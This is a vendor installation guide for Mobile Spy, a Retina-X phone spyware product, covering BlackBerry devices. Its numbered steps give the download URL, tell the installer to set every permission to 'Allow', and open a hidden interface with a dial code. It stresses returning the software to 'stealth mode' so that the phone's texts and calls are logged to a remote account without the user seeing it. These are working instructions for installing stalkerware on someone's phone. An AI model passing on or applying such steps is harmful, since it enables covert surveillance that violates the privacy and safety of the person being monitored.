Installation for BlackBerry Devices

Welcome to the installation page for your BlackBerry. The very easy steps on this page take approximately five to ten minutes. You can then monitor from your online account.

This guide assumes you have already made your account on the Mobile Spy server as described in the User Guide.

After you have created your username and password, you should perform these EASY steps below. You do not need to connect your phone to your computer to install.

1. Open the Web Browser on your BlackBerry and type in the following address EXACTLY as shown. Then press Enter as shown in the screenshot below:

https://www.mobilespylogs.com/bb/ss.jad

2. Check the box to "Enable Application Permissions" as shown below, then click on the blue Download button.

3. When you get the Permissions screen, change all items in all three categories to "Allow". Then click your Menu button and go to Save as shown below.


4. You will then see the program install and should see the screen below. You should now REBOOT YOUR DEVICE to start the program for the first time! Simply turn the power off and then back on.

You need to now tell the program your username and password. So you will bring up the interface for the first time.

5. Now bring up the interface. Simply dial #12345* and press SEND. The interface will appear. You can press the END key during the "call" to speed up showing the interface.

Note: You can change the five numbers to any five digits later by going to "Change PIN".

6. When the interface appears for the first time you will be asked to enter your username and password. Remember to type it EXACTLY as you did when you created it because it's case sensitive. Then, press the Menu key and go to Login.

IMPORTANT NOTES

When you are finished with the interface, be sure to go to Menu > Close to go back to stealth mode. If you change logging settings, the phone needs to be rebooted to start with the new changes.

You are now ready to monitor using Mobile Spy. Send some test SMS messages and calls. Logs will start showing in your online account after a few minutes. To check logs, go to this specific login page to login from any Internet browser: https://www.mobilespylogs.com.

See the general User Guide for more info on checking logs.

REMOVING MOBILE SPY

To remove the BlackBerry software, bring up the interface and go to Menu > Uninstall. Then reboot your phone. Then bring up the interface one last time and the BlackBerry will tell you it needs to reboot to finishing removing the module. Select to reboot now and then the software is removed.


Product User Guide
Documentation for Mobile Spy.

View Product User Guide >>>

Searchable Knowledge Base
Questions about features and ordering.

View Knowledge Base >>>

Locate a Previous Order
View past order information.

Locate a Previous Order >>>

Recover Your Download
Use this page to obtain a new download.

Recover Your Download >>>

About Retina-X Studios
Complete company profile.

Learn More About Retinax >>>

Open a Support Ticket
Contact us for questions and support.

Open New Support Ticket >>>



Smartphone Requirements

Any compatible iPhone, BlackBerry, Android, Windows Mobile or Symbian OS based smartphone including many models by Apple, Samsung, Nokia, Motorola, HTC, more

Compatible Phone Carriers

T-Mobile, Sprint, O2, Orange, Verizon, Alltel, AT&T, more

Features - Purchase - Affiliates - Support - Policies - Mobile Spy Home
© 1997-2009 Retina-X Studios, LLC. All Rights Reserved.
NOTE: All trademarks on this site are property of their respective owners. These companies are not affiliated
with Mobile-Spy.com in any way. Mentioned trademarks are used solely for the purpose of describing phone
and carrier compatibility for our mobile phone spy software.